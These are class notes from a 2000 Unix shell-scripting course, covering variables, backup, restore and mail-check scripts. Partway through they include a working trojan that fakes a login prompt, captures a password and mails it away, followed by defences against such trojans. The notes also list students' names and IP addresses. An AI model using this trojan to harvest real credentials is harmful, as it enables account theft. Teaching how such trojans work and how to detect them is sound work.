NET 298 1/6/00 dc shoemaker IB 3305 168.156.76.127 class notes from rhodesh - last rev 2/11/00 *** (*** = division between one note and the next; often for different days.) We will use the sh (ash) variables. There are shell variables and then there are environment variables. There are shell commands and then there are unix commands The shell knows who you are; the kernel does not. *** $ = "contents of" *** Doing 'sh' from bash will mix up (change) the env vars. In what way? SVR4 uses .profile Linux uses .bash_login BSD uses .profile We use .profile *** Do not cat the bash. String it (if you must). reset = get my bash back to default configuration. will also work in Finnish. *** 'test' is a command. So don't use it as a script file name. It tests for equivalence. See Bash book p 117, 182. *** which = finds executables and shows you their path find = finds files cat = type the file to the screen, or concatentate multiple files more = show me a screenful at a time (of a text file) less = same as more but allows backward motion as well as forward if = tests for a boolean condition fi = closes the if statement while [condition is true] ; do [statement] done = closes the do loop case = similar to while, but different. how ??? esac = close the case statement *** command syntax: command [-option] [arguments] if [ -f sales ] ; then echo "exists" ; fi ls [ arg1 arg2 ] ls [ $1 $2 ] the command itself is saved as $0 arguments are saved as variables within the same instance of the shell. *** if [ -f $1 ] ; then echo $1 exists ; fi # '-f' tests for a readable file. *** #!/bin/sh # 'hithere' - a variant of 'greeting'. a demonstration script. # set a 'now' variable containing the hour now=`date +%H` # set a 'name' variable containing the full user name; get the contents # of LOGNAME from the passwd file; pipe it to awk; use a column separator # of ':' and print the fifth column. name=`grep $LOGNAME /etc/passwd | awk -F: '{print $5}'` # from the 'name' var, extract the first name (using a default field # separator of space), and store this as var 'you' you=`echo $name | awk '{print $1}'` # if the hour (value of var 'now') is less than 12 and more than 6, then if [ $now -lt 12 -a $now -ge 6 ] ; then # say literal string followed by your first name. echo "Good morning, $you." fi # test for afternoon, as above if [ $now -lt 18 -a $now -ge 12 ] ; then echo "Good afternoon, $you." fi # test for evening if [ $now -lt 24 -a $now -ge 18 ] ; then echo "Good evening, $you." fi # test for wee hours if [ $now -lt 6 ] ; then echo "What, can't sleep, $you?" fi # say, without a following CRLF (-n), the literal string (in quotes) echo -n "The GMT time & date is " # then, on the same line, say the time/date in GMT (-u) date -u # (next line) say, w/o CRLF following, literal string, local time/date echo -n "Here in Seattle, it's " date # end of 'hithere' script *** What files must be backed up to restore your system after a crash? passwd and passwd- files shadow and shadow- files (both in /etc) your own home dir and all below it. *** # initial pass at finding the file sizes in the home dir: # (see 'homesize' below) # R = recursive ls -lR # select the fifth column ( file size) awk '{ print $5}' *** ` (backtick) forks a new shell and the second one completes it. That is, it drops back up to the previous, mother, shell. *** #!/bin/sh # 'homesize' - a script to show the current size of the home directory cd /home ls -lR 2> /dev/null | awk '{ print $5 }' > $HOME/list 2> /dev/null cat $HOME/list | awk '{ sum += $1 ; print "Total: " sum }' | tail -1 rm $HOME/list *** # (gives a line count of people online) who | wc -l *** # (tell the init daemon you want to go to single user mode) telinit -s *** exercises toward a backup script: # tar your home dir & etc files to you.tz and put it in the /share dir. tar -cf /share/you_tar $HOME # make a copy of the passwd file (not compressed) cp /etc/passwd /share/passwdyou # compress the tarball compress /share/you_tar # then chmod 744 this script file and run it *** # To embed a date in a filename (day of the month) date (+FORMAT) date +%d # see man date *** backup script below that uses this: #!/bin/sh # backup - script for user's files ; rlh 1/24/2k # for 'you', substitute your username or your initials as appropriate # get away from your backup target (/home/you/... ) cd /home # create a filename as a variable with the date in it target_file=you_`date +%d` # tar the home dirs tar -cf /share/$target_file $HOME # now you have a file called you_date.tar # like 'rh_04.tar' # copy the passwd file to one named for you cp /etc/passwd /share/passwdyou # compress the tarball compress /share/$target_file # now you have a file called you_date.tar.Z # like 'rh_04.tar.Z' *** 'zcat' will cat a compressed (.Z) file to expanded text *** #extract the files from 'london.tar' tar -xf london.tar *** #!/bin/sh # restore - script to restore your files ; rlh 1/24/00 # assuming the nomenclature above in 'backup' # and assuming you give the command as # 'restore arg1 arg2' where # arg1 is your initials, and appear at the end of the passwd file # and at the beginnning of the tar file # arg2 is the date of the saved tar file # as in 'restore rh 04' for 'rh_04.tar.Z' #test command string for completeness, if either arg is # empty, prompt syntax and exit. ( || = OR ) ( -z = null string ) if [ -z $1 ] || [ -z $2 ] ; then echo "usage: restore 'your initials' 'day of the month' " ; exit fi # get away from your backup target (/home/you/... ) cd /home # create a filename as a variable with the date in it target_file=$1_$2 # compress the tarball uncompress /share/$target_file.Z # extract your files to your own home directories tar -xf /share/$target_file $HOME # copy the passwd file you saved back to its place in /etc # cp /share/passwd$1 /etc/passwd/ # comment out this line # don't do this unless you know you have the most recent copy # available as it has everyone else's data in it too. # and its not the shadow file, which you would also need to # restore # clean up rm $target_file *** #!/bin/sh # a script for sharing a file through email # developed in (numbered) stages below: # 1) -- mail to one user: mailx kjensen < linux.txt # 2) -- or mail to a list of appropriate users: # refer to /etc/passwd for list of users cat /etc/passwd # find those (real) users who are using the bash cat /etc/passwd | grep bash # pass it to a file cat /etc/passwd | grep bash > users # 3) -- or expanding the above: # extract the login names from the file and write to list # use colon as field separator (-F:) cat users | awk -F: '{print $1} > list cat /etc/passwd | grep bash | awk -F: '{print $1}' > list # 4) -- or then, finally, do it all in one line: # capture the above whole procedure in backticks mailx `cat /etc/passwd | grep bash | awk -F: '{print $1}'` < $HOME/linux.txt *** Buffers: if the buffer is smaller than the file you are editing, the 1k inode that you change will be saved in the buffer when the editing session is over. If the file is smaller than the buffer, the whole file will be saved in the buffer after you quit editing. (...and until the system writes it out to the disk.) *** #script to clean up the tmp dir: #!/bin/bash # use the bash to get the EUID right # test to see if you are su if [ -O 0 ] ; then .... # this script was never completed. *** # symbolic link - makes a small ( coupla bytes ) link to the program ln -s [program] [command name] # hard link - ??? ln [program] [command name] # also used with directories and datafiles. *** # use the "show" name to call the "cat" command alias show=cat # an alias is only known to the local shell. # when a fork occurs the alias is unknown to the new shell. # a link will still be recognized across forks to other shells *** # 'script' will record not only the commands you issued, # like bash-history, it will also record the results. *** # 'biff' notifies you of mail immediately, in the middle of # whatever you are doing. A daemon. Sometimes a nuisance. # we have it turned off here. # we will write a script to do this job individually. # task: check mail every n minutes and notify you. *** here it is: # chekmail, a shell script by dcs, 24 Feb 99 # initialize a variable for the "original" filesize # equiv to "old size" b=0 # start an infinite do-loop while : do # get the directory entry x="`ls -l $MAIL`" # get filesize (a= "new size") from fifth column a="`echo $x | awk '{print $5}'`" # test the "new" size against the "old" size # echo -e enables escapes, like \a to sound the console bell if [ $a -gt $b ] ; then echo -e "\aYou have more mail." ; fi # save the "new" size as the "old" size b=$a # wait 12 minutes (720 secs) for next loop sleep 720 # go back and loop again done # this script has problems if you don't have a mail file. *** above item revised below: # chekmail, a script by dcs, 2/24/99, modified by rlh 2/6/00 # Run this script with a following '&' to put it in background # so you get your prompt back. (" chekmail & "). # put an exit message in a varname bail="Your mail file is missing or unreadable. Chekmail is exiting." # test if mail file exists. if not, say so and quit. if [ ! -e /var/spool/mail/$LOGNAME ] ; then echo "$bail" ; exit ; fi # initialize a variable for the "original" filesize ("oldsize") b=0 # start a do-loop that runs as long as the mail file is readable. while [ -f /var/spool/mail/$LOGNAME ] ; do # get the directory entry x="`ls -l $MAIL`" # get filesize (a= "new size") from fifth column a="`echo $x | awk '{print $5}'`" # test the new filesize against the old size # echo -e enables escapes, like \a to sound the console bell if [ $a -gt $b ] ; then echo -e "\aYou have more mail." ; fi # save the new size as the old size b=$a ; # wait 720 secs for next loop (12 minutes) sleep 720 # loop again. done # or fall through to quit (when 'while' condition fails). echo "$bail" ; exit *** last | awk '{print $1}' | sort | uniq -c | sort | sed '1,4d' | sort -r #who was in the host; sort for unique; sort for length of stay *** # trojan - example of a trojan horse script # Echo the number of arguments given in calling this script echo $# # If no args, pretend to be nscc machine (put name in var "try".) if [ $# -eq 0 ] ; then try="nscc_sextant.ctc.edu" # Else use the as a machine name else try=$1 fi # Spoof the login sequence.... echo "Trying $try..." echo "Connected to $try." echo "Escape character is \'^]\." echo "" echo "Linux 2.0.34." echo "" echo -n "$try login: " # Capture the username to var "ID" read ID echo -n "Password: " # Turn off the typing echo while receiving the password stty -echo # Capture the password read PD # Turn typing echo back on stty echo # Skip a line echo "" # Stuff the username and password, with colon for separation # into var "DATA" DATA=$ID:$PD # Send the information in DATA to dc echo $DATA | mail dshoe # Pause. Needed on a slower host to complete the mail sleep 1 # Make excuse for why this program is about to quit and # dump your connection... echo "Login incorrect." # erase the program using the name it was called with. rm $0 # remove the parent process ID (PPID) from the system # record and stop the process itself. kill -9 $PPID # dc now has your name and password in his mailbox *** The above program could be renamed "telnet" or "ftp" or worse "su" with minor revisions. Its use requires that dot be at the beginning of the path, so this (trojan) file is read instead of the real one of the same name residing in /bin or usr/bin (which is usually early in the path). This is one reason that we don't put dot at the beginning of our paths. How can the sysadmin prevent a trojan? Use [filea] -nt [fileb]. Check to see where new files have been created. /var/log/wtmp is a file which is created when the system is first booted. You could 'strings wtmp' (too much data, and what we get is encrypted anyway) or say 'last': - It will say ' wmtp begins Fri Jan 20 00:51 ' Anything changed after this date is probably worth looking at. Or do a grep for 'kill' in the home dir. Or scan the mail spool periodically for 'kill' and 'read' and 'Password:' *** This (nscc) bash forks to bash unless directed otherwise. Its either a bug or a feature depending on your POV. Our scripts run in sh --> ash only when we include the #!/bin/sh shell directive. 'jobs' command lists the jobs running in background. kill %n # kills job number n *** we interrupt your regular programming to bring you this: Midterm exams coming up on valentine's day - Since it is an open book test, there is some advantage to knowing how to get information about bash quickly. Some thoughts about this are posted in /share/bashman.topics rlh 2/7/00 *** and now back to the usual: # to see the shell variable values set | less # You get the following: BASH=/bin/bash BASH_VERSION=1.14.7(1) COLUMNS=80 EUID=1051 HISTFILE=/home/rhodesh/.bash_history HISTFILESIZE=500 HISTSIZE=500 HOME=/home/rhodesh HOSTNAME=nscc_sextant.sccd.edu HOSTTYPE=i386 HUSHLOGIN=FALSE HZ=100 IFS= LESS=-M LESSOPEN=|lesspipe.sh %s LINES=24 LOGNAME=rhodesh LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.bz2=01;31:*.rpm=01 ;31:*.deb=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.mpg=01;37:*.avi=01;37:*.mov=01;37:*.gl=01;37:*.dl=01;37: LS_OPTIONS= --color=auto -F -b -T 0 MAIL=/var/spool/mail/rhodesh MAILCHECK=60 MANPATH=/usr/local/man:/usr/man/preformat:/usr/man:/usr/X11R6/man:/usr/openwin/man MINICOM=-c on OLDPWD=/home/rhodesh/notes OPENWINHOME=/usr/openwin OPTERR=1 OPTIND=1 OSTYPE=Linux PATH=/usr/local/bin:/bin:/usr/bin:/usr/games:/home/rhodesh/bin:. PPID=32457 PS1=$PWD: PS2=> PS4=+ PWD=/home/rhodesh REMOTEHOST=134.39.68.93 SHELL=/bin/bash SHLVL=1 TERM=vt100 UID=1051 USER=rhodesh _=less ignoreeof=10 # (end of shell variable list) *** ps alx | more # will show who is doing what from where # to search for unauthorized root users grep :0:0: /etc/passwd # to see who is who finger # yields the following output Login Name Tty Idle Login Time Office Office Phone Guest Guest User p2 42 Feb 10 11:52 (134.39.68.93) bholland Bart Holland p8 10 Feb 10 12:03 (134.39.68.90) brader Barbara Rader q0 14 Feb 10 12:33 (134.39.68.95) dbaum Diana Baumgart pa 7 Feb 10 12:08 (134.39.68.96) dcshoe DC Shoemaker p6 5 Feb 10 12:02 (134.39.68.110) eholt Eric Holt pd 3 Feb 10 12:13 (134.39.68.104) gesperum Garrett Esperum pb 38 Feb 10 12:10 (134.39.68.103) kjensen Kimberlee Jensen p5 Feb 10 12:01 (134.39.68.101) rariri Roman Ariri pe 21 Feb 10 12:16 (134.39.68.81) rhodesh Rhodes Hileman p0 Feb 10 11:45 (134.39.68.93) rhodesh Rhodes Hileman p1 Feb 10 11:51 (134.39.68.93) rkemp Randall Kemp pc 4 Feb 10 12:11 (134.39.68.99) rponce Rolando Ponce pf 5 Feb 10 12:23 (134.39.68.98) tiwata Ted Iwata p9 4 Feb 10 12:07 (134.39.68.100) wkchien Wenk Chien p4 4 Feb 10 12:04 (134.39.68.92) wkchien Wenk Chien q1 1 Feb 10 12:46 (134.39.68.92) yminas Yohannes Minas p3 Feb 10 11:59 (134.39.68.107) *** # ~/backups/add #!/usr/bin/bash # Random number totaliser temp=0 echo $RANDOM > list while [ "$temp" -lt 9 ] do echo $RANDOM >> list temp=`expr $temp + 1` done cat list cat list | awk '{ sum += $1 ; print "Total: " sum }' | tail -1 rm list *** # shell does integer math only so 'expr' cannot be followed # by 1.5 # tail -1 = show me just the last number, of the list # what happens if temp is never initialized? # /usr/bin/bash does not exist; this creates problems # including the eleventh number *** # ~/backups/testfile # filetype script to determine file type and permissions echo -n $1 if [ ! -f $1 -a ! -d $1 ] then echo " does not exist or is not an ordinary file." exit 1 fi if [ -d $1 ] then echo -n " is a directory," fi if [ -x $1 ] then echo -n " is executable," else echo -n " is not executable," fi if [ -w $1 ] then echo " and you have write permission." else echo " and you do not have write permission." fi *** Emulators under Linux: DOSEMU ~ 4.5MB - dos emulator WINE ~ 15-20MB - win3.11 emulator, may require kernel recompile Application packages that run like windows programs but run natively in Linux: STAR OFFICE COREL OFFICE *** #!/bin/bash # Random number list summing - revision of "add", above if [ -e list ] ; then rm list ; fi temp=0 while [ "$temp" -lt 10 ] do echo $RANDOM >> list temp=`expr $temp + 1` done cat list cat list | awk '{ sum += $1 ; print "Total: " sum }' | tail -1 rm list *** # our host has linked usr/bin/bash and usr/bin/ksh to /bin/bash # RANDOM is a valid variable in both Korn shell and Bash *** # DC was editing a copy of "add" in his backups dir, but his # PATH was finding a copy of "add" in his bin dir first, so # his edits appeared to have no effect. A common error. *** env | more # to see variables' values in the system environment set | more # to see variables' values in the local shell *** # know your path # know your variables # know your .profile *** use of back ticks := fork a process use of single quotes := protect the white space (treat as a phrase) but will not expand any variables, will treat literally use of double quotes := protect the whitespace (as above) AND expand all variables (interpret meta characters) *** Mark Williams: Coherent (Mark Williams) Dale Scheetz: Linux Volume 1 (Linux Press) The Scheetz book is a rework of the Coherent book for use with Linux. ***